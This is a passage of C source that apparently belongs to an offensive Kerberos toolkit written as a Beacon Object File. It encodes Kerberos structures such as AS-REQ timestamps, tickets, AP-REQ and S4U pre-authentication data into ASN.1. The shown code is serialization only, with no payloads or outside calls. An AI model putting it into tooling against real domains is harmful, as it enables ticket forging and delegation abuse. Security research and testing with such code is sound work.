MakeExplicit(int tagClass, int tagValue, AsnElt* subs, int subsCount, AsnElt* a) {\n    return Make4(tagClass, tagValue, subs, subsCount, a);\n}\n\nbool MakeImplicit(int tagClass, int tagValue, AsnElt* x, AsnElt* a) {\n    if (x->sub != NULL)\n        return Make4(tagClass, tagValue, x->sub, x->subCount, a);\n\n    a->objOff = 0;\n    a->objLen = -1;\n    a->hasEncodedHeader = FALSE;\n    a->tagClass = tagClass;\n    a->tagValue = tagValue;\n    a->sub = NULL;\n    a->subCount = 0;\n    if (x->objBuf) {\n        a->objBuf = x->objBuf;\n        a->objBufSize = x->objBufSize;\n        a->valOff = x->valOff;\n        a->valLen = x->valLen;\n    }\n    else {\n        a->objBuf = MemAlloc(EncodedLength(x));\n        a->objBufSize = EncodeValue(x, 0, EncodedLength(x), a->objBuf, 0);\n        a->valOff = 0;\n        a->valLen = x->objBufSize;\n    }\n    return false;\n}\n\nbool MakeBitString(byte* buf, size_t off, size_t len, AsnElt* a) {\n    byte* tmp = MemAlloc(len + 1);\n    if (tmp == NULL)\n        return true;\n\n    *tmp = 0;\n    MemCpy(tmp + 1, buf + off, len);\n    return MakePrimitiveInner(ASN_UNIVERSAL, ASN_BIT_STRING, tmp, 0, len + 1, a);\n}\n\nbool MakeString(int type, char* str, AsnElt* a) {\n    int wlength = KERNEL32$MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);\n    wchar_t* wstr = MemAlloc((wlength) * sizeof(wchar_t));\n    KERNEL32$MultiByteToWideChar(CP_ACP, 0, str, -1, wstr, wlength);\n    byte* buf;\n    int len = 0;\n    if( type == ASN_NumericString || type == ASN_PrintableString || type == ASN_UTCTime || type == ASN_GeneralizedTime || type == ASN_TeletexString || type == ASN_IA5String || type == ASN_GeneralString ) {\n        if (EncodeMono(wstr, &len, &buf)) return true;\n    }\n    if ( type == ASN_UTF8String ) {\n        if (EncodeUTF8(wstr, &len, &buf)) return true;\n    }\n    if (type == ASN_BMPString) {\n        if (EncodeUTF16(wstr, &len, &buf)) return true;\n    }\n    if(type == ASN_UniversalString) {\n        if (EncodeUTF32(wstr, &len, &buf)) return true;\n    }\n    return MakePrimitiveInner(ASN_UNIVERSAL, type, buf, 0, len, a);\n}\n\n\n\nbool PackIntegerLong(int tagValue, int var, AsnElt* varSeqContext) {\n    AsnElt varAsn = { 0 }, varSeq = { 0 };\n    if ( MakeIntegerLong(var, &varAsn)\n         || Make3(ASN_SEQUENCE, &varAsn, 1, &varSeq)\n         || MakeImplicit(ASN_CONTEXT, tagValue, &varSeq, varSeqContext) )\n        return true;\n\n    return false;\n}\n\nbool PackString(int tagValue, int type, char* var, AsnElt* varSeqContext){\n    AsnElt varAsn = { 0 }, varSeq = { 0 };\n    if ( MakeString( type, var, &varAsn)\n         || Make3(ASN_SEQUENCE, &varAsn, 1, &varSeq)\n         || MakeImplicit(ASN_CONTEXT, tagValue, &varSeq, varSeqContext) )\n        return true;\n    return false;\n}\n\nbool PackStringExt(int tagValue, int type, int imp_type, char* var, AsnElt* varSeqContext){\n    AsnElt varAsn = { 0 }, var2Asn = { 0 }, varSeq = { 0 };\n    if ( MakeString( type, var, &varAsn)\n         || MakeImplicit(ASN_UNIVERSAL, imp_type, &varAsn, &var2Asn)\n         || Make3(ASN_SEQUENCE, &var2Asn, 1, &varSeq)\n         || MakeImplicit(ASN_CONTEXT, tagValue, &varSeq, varSeqContext) )\n        return true;\n    return false;\n}\n\nbool PackBitString(int tagValue, byte* var, int varLen, AsnElt* varSeqContext) {\n    AsnElt varAsn = { 0 }, varSeq = { 0 };\n    if ( MakeBitString(var, 0, varLen, &varAsn)\n         || Make3(ASN_SEQUENCE, &varAsn, 1, &varSeq)\n         || MakeImplicit(ASN_CONTEXT, tagValue, &varSeq, varSeqContext) )\n        return true;\n    return false;\n}\n\nbool PackBlock(int tagValue, byte* var, int varLen, AsnElt* varSeqContext) {\n    AsnElt varAsn = { 0 }, varSeq = { 0 };\n    if ( MakeBlob(var, 0, varLen, &varAsn)\n         || Make3(ASN_SEQUENCE, &varAsn, 1, &varSeq)\n         || MakeImplicit(ASN_CONTEXT, tagValue, &varSeq, varSeqContext) )\n        return TRUE;\n    return false;\n}\n\n\n\nbool AsnEncTimeStampToPaDataEncode(EncryptionKey encKey, PA_DATA* pa_data) {\n    bool status = false;\n    pa_data->type = PADATA_ENC_TIMESTAMP;\n\n    char datatime[18];\n    DateTime dt = GetLocalTimeAdd(0);\n    MSVCRT$sprintf(datatime, \"%04d%02d%02d%02d%02d%02dZ\", dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);\n\n    AsnElt patimestampSeqContext = { 0 };\n    if (PackString(0, ASN_GeneralizedTime, datatime, &patimestampSeqContext)) return true;\n\n    AsnElt totalSeq = { 0 };\n    if (Make3(ASN_SEQUENCE, &patimestampSeqContext, 1, &totalSeq)) return true;\n\n    int rawBytesSize = 0;\n    byte* rawBytes = 0;\n    if (AsnToBytesEncode(&totalSeq, &rawBytesSize, &rawBytes)) return true;\n\n    byte* encBytes;\n    if (encrypt(rawBytes, rawBytesSize, encKey.key_value, encKey.key_type, KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, &encBytes, &rawBytesSize)) return true;\n\n    EncryptedData* pEncData = MemAlloc(sizeof(EncryptedData));\n    if (!pEncData) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return false;\n    }\n    pEncData->etype = encKey.key_type;\n    pEncData->kvno = 0;\n    pEncData->cipher = encBytes;\n    pEncData->cipher_size = rawBytesSize;\n\n    pa_data->value = pEncData;\n    return false;\n}\n\nbool AsnPrincipalNameEncode(PrincipalName* cname, AsnElt* RET) {\n    // name-type[0] Int32\n    AsnElt nameTypeSeqContext = { 0 };\n    if (PackIntegerLong(0, cname->name_type, &nameTypeSeqContext)) return true;\n\n    // name-string[1] SEQUENCE OF KerberosString\n    AsnElt* strings = MemAlloc(sizeof(AsnElt) * cname->name_count);\n    for (DWORD i = 0; i < cname->name_count; ++i) {\n        AsnElt nameStringElt = { 0 }, nameStringEltContext = { 0 };\n        if (MakeString(ASN_UTF8String, cname->name_string[i], &nameStringElt)) return true;\n        if (MakeImplicit(ASN_UNIVERSAL, ASN_GeneralString, &nameStringElt, &nameStringEltContext)) return true;\n        strings[i] = nameStringEltContext;\n    }\n\n    AsnElt stringSeq = { 0 }, stringSeq2 = { 0 }, stringSeq2Context = { 0 };\n    if (Make3(ASN_SEQUENCE, strings, cname->name_count, &stringSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &stringSeq, 1, &stringSeq2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 1, &stringSeq2, &stringSeq2Context)) return true;\n\n    // build the final sequences\n    AsnElt preseq[] = { nameTypeSeqContext, stringSeq2Context };\n    AsnElt seq = { 0 };\n    if (Make3(ASN_SEQUENCE, preseq, 2, &seq)) return true;\n    if (Make3(ASN_SEQUENCE, &seq, 1, RET)) return true;\n    return false;\n}\n\nbool AsnHostAddressEncode(HostAddress* addr, AsnElt* seq) {\n    // addr-type[0] Int32\n    // addr-string[1] OCTET STRING\n    AsnElt addrTypeSeqContext = { 0 };\n    if (PackIntegerLong(0, addr->addr_type, &addrTypeSeqContext)) return true;\n\n    AsnElt addrStringSeqContext = { 0 };\n    if( PackStringExt(1, ASN_TeletexString, ASN_OCTET_STRING, addr->addr_string, &addrStringSeqContext) ) return true;\n\n    AsnElt seqTotal[] = { addrTypeSeqContext, addrStringSeqContext };\n    if (Make3(ASN_SEQUENCE, seqTotal, 2, seq)) return true;\n\n    return false;\n}\n\n\n\n\nbool AsnKerbPaPacRequestEncode(KERB_PA_PAC_REQUEST* value, AsnElt* totalSeq) {\n    AsnElt ret;\n    if (value->include_pac) {\n        if (MakeBlob((const unsigned char[]) { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }, 0, 7, & ret)) return true;\n    }\n    else {\n        if (MakeBlob((const unsigned char[]) { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 }, 0, 7, & ret)) return true;\n    }\n    if (Make3(ASN_SEQUENCE, &ret, 1, totalSeq)) return true;\n\n    return false;\n}\n\nbool AsnEncryptedDataEncode(EncryptedData* value, AsnElt* totalSeq) {\n    // etype   [0] Int32 -- EncryptionType --,\n    AsnElt etypeSeqContext = { 0 };\n    if (PackIntegerLong(0, (long)value->etype, &etypeSeqContext)) return true;\n\n    // cipher  [2] OCTET STRING -- ciphertext\n    AsnElt cipherSeqContext = { 0 };\n    if (PackBlock(2, value->cipher, value->cipher_size, &cipherSeqContext) ) return true;\n\n    if (value->kvno != 0) {\n        // kvno    [1] UInt32 OPTIONAL\n        AsnElt kvnoSeqContext = { 0 };\n        if (PackIntegerLong(1, (long)value->kvno, &kvnoSeqContext)) return true;\n\n        AsnElt allSeq[] = { etypeSeqContext, kvnoSeqContext, cipherSeqContext };\n        if (Make3(ASN_SEQUENCE, allSeq, 3, totalSeq))return true;\n    }\n    else {\n        AsnElt allSeq[] = { etypeSeqContext, cipherSeqContext };\n        if (Make3(ASN_SEQUENCE, allSeq, 2, totalSeq))return true;\n    }\n    return false;\n}\n\nbool AsnEncryptionKeyEncode(EncryptionKey* key, AsnElt* seq2) {\n    // keytype[0] Int32 -- actually encryption type --\n    AsnElt keyTypeSeqContext = { 0 };\n    if (PackIntegerLong(0, (long)key->key_type, &keyTypeSeqContext)) return true;\n\n    // keyvalue[1] OCTET STRING\n    AsnElt blobSeqContext = { 0 };\n    if (PackBlock(1, key->key_value, key->key_size, &blobSeqContext) ) return true;\n\n    // build the final sequences (s)\n    AsnElt seqTotal[] = { keyTypeSeqContext, blobSeqContext };\n    AsnElt seq = { 0 };\n    if (Make3(ASN_SEQUENCE, seqTotal, 2, &seq)) return true;\n    if (Make3(ASN_SEQUENCE, &seq, 1, seq2)) return true;\n    return false;\n}\n\nbool AsnTicketEncode(Ticket* ticket, AsnElt* totalSeq2Context) {\n    // tkt-vno         [0] INTEGER (5)\n    AsnElt tkt_vnoSeqContext = { 0 };\n    if (PackIntegerLong(0, ticket->tkt_vno, &tkt_vnoSeqContext)) return true;\n\n    // realm           [1] Realm\n    AsnElt realmAsnSeqContext = { 0 };\n    if( PackStringExt(1, ASN_IA5String, ASN_GeneralString, ticket->realm, &realmAsnSeqContext) ) return true;\n\n    // sname           [2] PrincipalName\n    AsnElt snameAsn = { 0 }, snameAsnContext = { 0 };\n    if (AsnPrincipalNameEncode(&(ticket->sname), &snameAsn)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 2, &snameAsn, &snameAsnContext)) return true;\n\n    // enc-part        [3] EncryptedData -- EncTicketPart\n    AsnElt enc_partAsn = { 0 }, enc_partSeq = { 0 }, enc_partSeqContext = { 0 };\n    if (AsnEncryptedDataEncode(&(ticket->enc_part), &enc_partAsn)) return true;\n    if (Make3(ASN_SEQUENCE, &enc_partAsn, 1, &enc_partSeq)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 3, &enc_partSeq, &enc_partSeqContext)) return true;\n\n    AsnElt seqTotal[] = { tkt_vnoSeqContext, realmAsnSeqContext, snameAsnContext, enc_partSeqContext };\n    AsnElt totalSeq = { 0 }, totalSeq2 = { 0 };\n    if (Make3(ASN_SEQUENCE, seqTotal, 4, &totalSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &totalSeq, 1, &totalSeq2)) return true;\n    if (MakeImplicit(ASN_APPLICATION, 1, &totalSeq2, totalSeq2Context)) return true;\n\n    return false;\n}\n\nbool AsnKDCReqBodyEncode(KDCReqBody* req_body, AsnElt* RET) {\n    DWORD allNodesCount = 6;\n    DWORD allNodesIndex = 0;\n    if (req_body->cname.name_count)\t\t\t\t\t\tallNodesCount++;\n    if (req_body->rtime > 0)\t\t\t\t\t\t\t\tallNodesCount++;\n    if (req_body->addresses_count > 0)\t\t\t\t\t\tallNodesCount++;\n    if (req_body->enc_authorization_data.cipher_size > 0)\tallNodesCount++;\n    if (req_body->additional_tickets_count > 0)\t\t\tallNodesCount++;\n    AsnElt* allNodes = MemAlloc(sizeof(AsnElt) * allNodesCount);\n\n    // kdc-options             [0] KDCOptions\n    byte kdcOptionsBytes[sizeof(UINT32)];\n    FlasToBytes(req_body->kdc_options, kdcOptionsBytes);\n\n    AsnElt kdcOptionsSeqContext = { 0 };\n    if (PackBitString(0, kdcOptionsBytes, sizeof(UINT32), &kdcOptionsSeqContext)) return true;\n    allNodes[allNodesIndex] = kdcOptionsSeqContext; allNodesIndex++;\n\n    // cname                   [1] PrincipalName\n    if (req_body->cname.name_count) {\n        AsnElt cnameElt = { 0 }, cnameEltContext = { 0 };\n        if (AsnPrincipalNameEncode(&(req_body->cname), &cnameElt)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 1, &cnameElt, &cnameEltContext)) return true;\n        allNodes[allNodesIndex] = cnameEltContext; allNodesIndex++;\n    }\n\n    // realm                   [2] Realm\n    AsnElt realmSeqContext = { 0 };\n    if( PackStringExt(2, ASN_IA5String, ASN_GeneralString, req_body->realm, &realmSeqContext) ) return true;\n    allNodes[allNodesIndex] = realmSeqContext; allNodesIndex++;\n\n    // sname                   [3] PrincipalName OPTIONAL\n    AsnElt snameElt = { 0 }, snameEltContext = { 0 };\n    if (AsnPrincipalNameEncode(&(req_body->sname), &snameElt)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 3, &snameElt, &snameEltContext)) return true;\n    allNodes[allNodesIndex] = snameEltContext; allNodesIndex++;\n\n    // from                    [4] KerberosTime OPTIONAL\n\n    // till                    [5]\n    char datatime[18];\n    DateTime dt = GetLocalTimeAdd(req_body->till);\n    MSVCRT$sprintf(datatime, \"%04d%02d%02d%02d%02d%02dZ\", dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);\n\n    AsnElt tillSeqContext = { 0 };\n    if (PackString(5, ASN_GeneralizedTime, datatime, &tillSeqContext)) return true;\n    allNodes[allNodesIndex] = tillSeqContext; allNodesIndex++;\n\n    // rtime                   [6] KerberosTime\n    if (req_body->rtime > 0) {\n        char tilltime[18];\n        dt = GetLocalTimeAdd(req_body->rtime);\n        MSVCRT$sprintf(tilltime, \"%04d%02d%02d%02d%02d%02dZ\", dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);\n\n\n        AsnElt rtimeSeqContext = { 0 };\n        if (PackString(6, ASN_GeneralizedTime, tilltime, &rtimeSeqContext)) return true;\n        allNodes[allNodesIndex] = rtimeSeqContext; allNodesIndex++;\n    }\n\n    // nonce                   [7] UInt32\n    AsnElt nonceSeqContext = { 0 };\n    if (PackIntegerLong(7, (LONG)req_body->nonce, &nonceSeqContext)) return true;\n    allNodes[allNodesIndex] = nonceSeqContext; allNodesIndex++;\n\n    // etype                   [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order --\n    AsnElt* etypeList = MemAlloc(sizeof(AsnElt) * req_body->etypes_count);\n    for (DWORD i = 0; i < req_body->etypes_count; ++i) {\n        AsnElt etypeAsn = { 0 };\n        if (MakeIntegerLong((LONG)req_body->etypes[i], &etypeAsn)) return true;\n        etypeList[i] = etypeAsn;\n    }\n    AsnElt etypeSeqTotal1 = { 0 }, etypeSeqTotal2 = { 0 }, etypeSeqTotalContext = { 0 };\n    if (Make3(ASN_SEQUENCE, etypeList, req_body->etypes_count, &etypeSeqTotal1)) return true;\n    if (Make3(ASN_SEQUENCE, &etypeSeqTotal1, 1, &etypeSeqTotal2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 8, &etypeSeqTotal2, &etypeSeqTotalContext)) return true;\n    allNodes[allNodesIndex] = etypeSeqTotalContext; allNodesIndex++;\n\n    // addresses               [9] HostAddresses OPTIONAL\n    if (req_body->addresses_count > 0) {\n        AsnElt* addrList = MemAlloc(sizeof(AsnElt) * req_body->addresses_count);\n        for (int i = 0; i < req_body->addresses_count; i++) {\n            AsnElt addrElt = { 0 };\n            if (AsnHostAddressEncode(&(req_body->addresses[i]), &addrElt)) return false;\n            addrList[i] = addrElt;\n        }\n        AsnElt addrSeqTotal1 = { 0 }, addrSeqTotal2 = { 0 }, addrSeqTotal2Context = { 0 };\n        if (Make3(ASN_SEQUENCE, addrList, req_body->addresses_count, &addrSeqTotal1)) return true;\n        if (Make3(ASN_SEQUENCE, &addrSeqTotal1, 1, &addrSeqTotal2)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 9, &addrSeqTotal2, &addrSeqTotal2Context)) return true;\n        allNodes[allNodesIndex] = addrSeqTotal2Context; allNodesIndex++;\n    }\n\n    // enc-authorization-data  [10] EncryptedData OPTIONAL\n    if (req_body->enc_authorization_data.cipher_size > 0) {\n        AsnElt authorizationEncryptedDataASN = { 0 }, authorizationEncryptedDataSeq = { 0 }, authorizationEncryptedDataSeqContext = { 0 };\n        if (AsnEncryptedDataEncode(&(req_body->enc_authorization_data), &authorizationEncryptedDataASN)) return true;\n        if (Make3(ASN_SEQUENCE, &authorizationEncryptedDataASN, 1, &authorizationEncryptedDataSeq)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 10, &authorizationEncryptedDataSeq, &authorizationEncryptedDataSeqContext)) return true;\n        allNodes[allNodesIndex] = authorizationEncryptedDataSeqContext; allNodesIndex++;\n    }\n\n    // additional-tickets      [11] SEQUENCE OF Ticket OPTIONAL\n    if (req_body->additional_tickets_count > 0) {\n        AsnElt ticketASN = { 0 }, ticketSeq = { 0 }, ticketSeq2 = { 0 }, ticketSeq2Context = { 0 };\n        if (AsnTicketEncode(&(req_body->additional_tickets[0]), &ticketASN)) return true;\n        if (Make3(ASN_SEQUENCE, &ticketASN, 1, &ticketSeq)) return true;\n        if (Make3(ASN_SEQUENCE, &ticketSeq, 1, &ticketSeq2)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 11, &ticketSeq2, &ticketSeq2Context)) return true;\n        allNodes[allNodesIndex] = ticketSeq2Context; allNodesIndex++;\n    }\n\n    if (Make3(ASN_SEQUENCE, allNodes, allNodesCount, RET)) return true;\n    return false;\n}\n\nbool AsnChecksumEncode(Checksum* cksum, AsnElt* totalSeq2) {\n    // cksumtype       [0] Int32\n    AsnElt cksumtypeSeqContext = { 0 };\n    if (PackIntegerLong(0, cksum->cksumtype, &cksumtypeSeqContext)) return true;\n\n    // checksum        [1] OCTET STRING\n    AsnElt checksumSeqContext = { 0 };\n    if (PackBlock(1, cksum->checksum, cksum->checksum_length, &checksumSeqContext) ) return true;\n\n    AsnElt seq[] = { cksumtypeSeqContext, checksumSeqContext };\n    AsnElt totalSeq = { 0 };\n    if (Make3(ASN_SEQUENCE, seq, 2, &totalSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &totalSeq, 1, totalSeq2)) return true;\n    return false;\n}\n\nbool AsnAuthenticatorEncode(Authenticator* authenticator, AsnElt* finalContext) {\n    DWORD allNodesCount = 5;\n    DWORD allNodesIndex = 0;\n    if (authenticator->cksum.checksum_length > 0)\tallNodesCount++;\n    if (authenticator->subkey.key_size)\t\t\t\tallNodesCount++;\n    if (authenticator->seq_number)\t\t\t\t\tallNodesCount++;\n\n    AsnElt* allNodes = MemAlloc(sizeof(AsnElt) * allNodesCount);\n\n    // authenticator-vno       [0] INTEGER (5)\n    AsnElt pvnoSeqContext = { 0 };\n    if (PackIntegerLong(0, (long)authenticator->authenticator_vno, &pvnoSeqContext)) return true;\n    allNodes[allNodesIndex] = pvnoSeqContext; allNodesIndex++;\n\n    // crealm                  [1] Realm\n    AsnElt prealmAsnSeqContext = { 0 };\n    if( PackStringExt(1, ASN_IA5String, ASN_GeneralString, authenticator->crealm, &prealmAsnSeqContext) ) return true;\n    allNodes[allNodesIndex] = prealmAsnSeqContext; allNodesIndex++;\n\n    // cname                   [2] PrincipalName\n    AsnElt snameElt = { 0 }, snameEltContext = { 0 };\n    if (AsnPrincipalNameEncode(&(authenticator->cname), &snameElt)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 2, &snameElt, &snameEltContext)) return true;\n    allNodes[allNodesIndex] = snameEltContext; allNodesIndex++;\n\n    // cksum                    [3] Checksum\n    if (authenticator->cksum.checksum_length > 0) {\n        AsnElt checksumAsn = { 0 }, checksumAsnContext = { 0 };\n        if (AsnChecksumEncode(&(authenticator->cksum), &checksumAsn)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 3, &checksumAsn, &checksumAsnContext)) return true;\n        allNodes[allNodesIndex] = checksumAsnContext; allNodesIndex++;\n    }\n\n    // cusec                   [4] Microseconds\n    AsnElt nonceSeqContext = { 0 };\n    if (PackIntegerLong(4, (long)authenticator->cusec, &nonceSeqContext)) return true;\n    allNodes[allNodesIndex] = nonceSeqContext; allNodesIndex++;\n\n    // ctime                   [5] KerberosTime\n    char datatime[18];\n    MSVCRT$sprintf(datatime, \"%04d%02d%02d%02d%02d%02dZ\", authenticator->ctime.year, authenticator->ctime.month, authenticator->ctime.day, authenticator->ctime.hour, authenticator->ctime.minute, authenticator->ctime.second);\n    AsnElt tillSeqContext = { 0 };\n    if (PackString(5, ASN_GeneralizedTime, datatime, &tillSeqContext)) return true;\n    allNodes[allNodesIndex] = tillSeqContext; allNodesIndex++;\n\n    // subkey                  [6] EncryptionKey OPTIONAL\n    if (authenticator->subkey.key_size) {\n        AsnElt keyAsn = { 0 }, keyAsnContext = { 0 };\n        if (AsnEncryptionKeyEncode(&(authenticator->subkey), &keyAsn)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 6, &keyAsn, &keyAsnContext)) return true;\n        allNodes[allNodesIndex] = keyAsnContext; allNodesIndex++;\n    }\n\n    // seq-number              [7] UInt32 OPTIONAL\n    if (authenticator->seq_number) {\n        AsnElt seq_numberASN = { 0 }, seq_numberSeq = { 0 }, seq_numberSeqContext = { 0 };\n        if (PackIntegerLong(7, (long)authenticator->seq_number, &seq_numberSeqContext)) return true;\n        allNodes[allNodesIndex] = seq_numberSeqContext; allNodesIndex++;\n    }\n\n    AsnElt seq = { 0 };\n    if (Make3(ASN_SEQUENCE, allNodes, allNodesCount, &seq)) return true;\n\n    AsnElt finalAsn = { 0 };\n    if (Make3(ASN_SEQUENCE, &seq, 1, &finalAsn))return true;\n    if (MakeImplicit(ASN_APPLICATION, 2, &finalAsn, finalContext))return true;\n\n    return false;\n}\n\nbool AsnApReqEncode(AP_REQ* value, AsnElt* totalSeqContext) {\n    // pvno            [0] INTEGER (5)\n    AsnElt pvnoSeqContext = { 0 };\n    if (PackIntegerLong(0, (long)value->pvno, &pvnoSeqContext)) return true;\n\n    // msg-type        [1] INTEGER (14)\n\n    AsnElt msg_typeSeqContext = { 0 };\n    if (PackIntegerLong(1, (long)value->msg_type, &msg_typeSeqContext)) return true;\n\n    // ap-options      [2] APOptions\n    byte ap_optionsBytes[sizeof(UINT32)];\n    FlasToBytes(value->ap_options, ap_optionsBytes);\n    AsnElt ap_optionsSeqContext = { 0 };\n    if (PackBitString(2, ap_optionsBytes, sizeof(UINT32), &ap_optionsSeqContext)) return true;\n\n    // ticket          [3] Ticket\n    AsnElt ticketASN = { 0 }, ticktSeq = { 0 }, ticktSeqContext = { 0 };\n    if (AsnTicketEncode(&(value->ticket), &ticketASN)) return true;\n    if (Make3(ASN_SEQUENCE, &ticketASN, 1, &ticktSeq)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 3, &ticktSeq, &ticktSeqContext)) return true;\n\n    // authenticator   [4] EncryptedData\n    if (value->key.key_size == 0) {\n        PRINT_OUT(\"[X] A key for the authenticator is needed to build an AP-REQ\\n\");\n        return true;\n    }\n\n    AsnElt authenticatorAsn = { 0 };\n    if (AsnAuthenticatorEncode(&(value->authenticator), &authenticatorAsn)) return true;\n\n    byte* authenticatorBytes = NULL;\n    int authenticatorBytesLength = 0;\n    if (AsnToBytesEncode(&authenticatorAsn, &authenticatorBytesLength, &authenticatorBytes)) return true;\n\n    byte* encBytes = NULL;\n    if (encrypt(authenticatorBytes, authenticatorBytesLength, value->key.key_value, value->key.key_type, value->keyUsage, &encBytes, &authenticatorBytesLength)) return true;;\n\n    EncryptedData authenticatorEncryptedData = { 0 };\n    authenticatorEncryptedData.etype = value->key.key_type;\n    authenticatorEncryptedData.cipher = encBytes;\n    authenticatorEncryptedData.cipher_size = authenticatorBytesLength;\n\n    AsnElt authenticatorEncryptedDataASN = { 0 }, authenticatorEncryptedDataSeq = { 0 }, authenticatorEncryptedDataSeqContext = { 0 };\n    if (AsnEncryptedDataEncode(&authenticatorEncryptedData, &authenticatorEncryptedDataASN))return true;\n    if (Make3(ASN_SEQUENCE, &authenticatorEncryptedDataASN, 1, &authenticatorEncryptedDataSeq)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 4, &authenticatorEncryptedDataSeq, &authenticatorEncryptedDataSeqContext)) return true;\n\n    // encode it all into a sequence\n    AsnElt totalAsn[] = { pvnoSeqContext , msg_typeSeqContext, ap_optionsSeqContext, ticktSeqContext, authenticatorEncryptedDataSeqContext };\n    AsnElt seq = { 0 }, totalSeq = { 0 };\n    if (Make3(ASN_SEQUENCE, totalAsn, 5, &seq)) return true;\n\n    // AP-REQ          ::= [APPLICATION 14]\n    //  put it all together and tag it with 14\n    if (Make3(ASN_SEQUENCE, &seq, 1, &totalSeq)) return true;\n    if (MakeImplicit(ASN_APPLICATION, 14, &totalSeq, totalSeqContext)) return true;\n\n    return false;\n}\n\nbool AsnS4UUserIDEncode(S4UUserID* id, AsnElt* seqContext) {\n    // nonce                   [0] UInt32\n    AsnElt nonceSeqContext = { 0 };\n    if (PackIntegerLong(0, id->nonce, &nonceSeqContext)) return true;\n\n    // cname                   [1] PrincipalName\n    AsnElt cnameElt = { 0 }, cnameEltContext = { 0 };\n    if (AsnPrincipalNameEncode(&(id->cname), &cnameElt)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 1, &cnameElt, &cnameEltContext)) return true;\n\n    // crealm                  [2] Realm\n    AsnElt realmSeqContext = { 0 };\n    if( PackStringExt(2, ASN_IA5String, ASN_GeneralString, id->crealm, &realmSeqContext) ) return true;\n\n    // options                 [4] PA_S4U_X509_USER_OPTIONS\n    byte optionsBytes[sizeof(UINT32)];\n    FlasToBytes(id->options, optionsBytes);\n\n    AsnElt optionsSeqContext = { 0 };\n    if (PackBitString(4, optionsBytes, sizeof(UINT32), &optionsSeqContext)) return true;\n\n    AsnElt allNodes[] = { nonceSeqContext, cnameEltContext, realmSeqContext, optionsSeqContext };\n    if (Make3(ASN_SEQUENCE, allNodes, 4, seqContext)) return true;\n\n    return false;\n}\n\nbool AsnPaPacOptionsEncode(PA_PAC_OPTIONS* value, AsnElt* seq) {\n    AsnElt kerberosFlagsAsn = { 0 }, kerberosFlagsAsnContext = { 0 }, parent = { 0 };\n    if (MakeBitString(value->kerberosFlags, 0, 4, &kerberosFlagsAsn)) return true;\n    if (MakeImplicit(ASN_UNIVERSAL, 3, &kerberosFlagsAsn, &kerberosFlagsAsnContext)) return true;\n    if (Make4(ASN_CONTEXT, 0, &kerberosFlagsAsnContext, 1, &parent)) return true;\n    if (Make3(ASN_SEQUENCE, &parent, 1, seq)) return true;\n    return false;\n}\n\nbool AsnPaS4USelfEnc(PA_FOR_USER* value, AsnElt* seq) {\n    // userName[0] PrincipalName\n    AsnElt userNameAsn = { 0 }, userNameAsnContext = { 0 };\n    if (AsnPrincipalNameEncode(&(value->userName), &userNameAsn)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 0, &userNameAsn, &userNameAsnContext)) return true;\n\n    // userRealm[1] Realm\n    AsnElt userRealmSeqContext = { 0 };\n    if( PackStringExt(1, ASN_IA5String, ASN_GeneralString, value->userRealm, &userRealmSeqContext) ) return true;\n\n    // cksum[2] Checksum\n    AsnElt checksumAsn = { 0 }, checksumAsnContext = { 0 };\n    if (AsnChecksumEncode(&(value->cksum), &checksumAsn)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 2, &checksumAsn, &checksumAsnContext)) return true;\n\n    // auth-package[3] KerberosString\n    AsnElt auth_packageSeqContext = { 0 };\n    if( PackStringExt(3, ASN_IA5String, ASN_GeneralString, value->auth_package, &auth_packageSeqContext) ) return true;\n\n    AsnElt allSeq[] = { userNameAsnContext, userRealmSeqContext, checksumAsnContext, auth_packageSeqContext };\n    if (Make3(ASN_SEQUENCE, allSeq, 4, seq)) return true;\n\n    return false;\n}\n\nbool AsnPaS4Ux509UserEnc(PA_S4U_X509_USER* value, AsnElt* seq) {\n    AsnElt userIDAsn = { 0 }, userIDSeq = { 0 }, userIDSeqContext = { 0 };\n    if (AsnS4UUserIDEncode(&(value->user_id), &userIDAsn)) return true;\n    if (Make3(ASN_SEQUENCE, &userIDAsn, 1, &userIDSeq)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 0, &userIDSeq, &userIDSeqContext)) return true;\n\n    AsnElt checksumAsn = { 0 }, checksumAsnContext = { 0 };\n    if (AsnChecksumEncode(&(value->cksum), &checksumAsn)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 1, &checksumAsn, &checksumAsnContext)) return true;\n\n    AsnElt totalAsn[] = { userIDSeqContext, checksumAsnContext };\n    if (Make3(ASN_SEQUENCE, totalAsn, 2, seq)) return true;\n\n    return false;\n}\n\nbool AsnPaKeyListReqEncode(PA_KEY_LIST_REQ* value, AsnElt* seq) {\n    AsnElt enctypeAsn = { 0 };\n    if (MakeIntegerLong(value->Enctype, &enctypeAsn)) return true;\n    if (Make3(ASN_SEQUENCE, &enctypeAsn, 1, seq)) return true;\n    return false;\n}\n\nbool AsnPaDataEncode(PA_DATA padata, AsnElt* seq) {\n    // padata-type     [1] Int32\n    AsnElt nameTypeSeqContext = { 0 };\n    if (PackIntegerLong(1, (long)padata.type, &nameTypeSeqContext)) return true;\n\n    if (padata.type == PADATA_PA_PAC_REQUEST) {\n        // used for 